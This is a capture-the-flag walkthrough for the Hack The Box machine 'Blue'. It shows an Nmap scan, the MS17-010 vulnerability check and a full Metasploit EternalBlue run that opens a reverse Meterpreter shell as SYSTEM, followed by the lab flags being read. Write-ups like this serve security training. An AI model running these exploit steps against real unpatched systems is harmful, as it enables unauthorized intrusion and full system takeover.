---
description: Super Easy HTB Windows box recommended for beginners
---

# Blue

<figure><img src="https://3550432212-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgxTXO9Ixrx4ExK6jnMbc%2Fuploads%2FbdoklltSCnzQQSreRql7%2Fimage.png?alt=media&#x26;token=33579dbb-7596-4d20-9c60-077920c00757" alt=""><figcaption></figcaption></figure>

## Reconnaissance

As always, we start off by performing a Port Scan using the tool `Nmap`

```bash
nmap -p- --open -Pn -n --min-rate 5000 -sS -sCV 10.10.10.40 -oN scan
```

```bash
# Nmap 7.95 scan initiated Sun Jul 27 18:30:04 2025 as: /usr/lib/nmap/nmap --privileged -p- --open -Pn -n --min-rate 5000 -sS -sCV -oN scan 10.10.10.40
Nmap scan report for 10.10.10.40
Host is up (0.043s latency).
Not shown: 64927 closed tcp ports (reset), 599 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-07-27T17:31:23
|_  start_date: 2025-07-27T17:29:03
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-07-27T18:31:22+01:00
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
|_clock-skew: mean: -19m57s, deviation: 34m36s, median: 0s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 27 18:31:26 2025 -- 1 IP address (1 host up) scanned in 82.74 seconds
```

We can see that the WIndows version and `SMB` Version seems vulnerable to `EternalBlue` so we perform a quick  check with the `Nmap NSE Script`

```bash
nmap --script=smb-vuln-ms17-010 10.10.10.40

Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
Nmap done: 1 IP address (1 host up) scanned in 3.34 seconds
```

And the target seems vulnerable so we proceed to load our `EternalBlue` exploit from `Metasploit`

## Exploitation

We load and configure the exploit on the Metasploit Framework to automate EternalBlue exploitation process:

```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.4
LHOST => 10.10.14.4
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.17/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (203846 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.40:49158) at 2025-07-27 18:33:55 +0100
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```

And finally, as we already are NT AUTHORITY\SYSTEM we retrieve the flags&#x20;

```powershell
C:\Users\Administrator\Desktop>type root.txt
type root.txt
48835d8ec67879d7018c3b4f4f72a36e

C:\Users\Administrator\Desktop>type C:\Users\haris\Desktop\user.txt
type C:\Users\haris\Desktop\user.txt
4b77daa03ddd0df477e2ffa607639f61

```
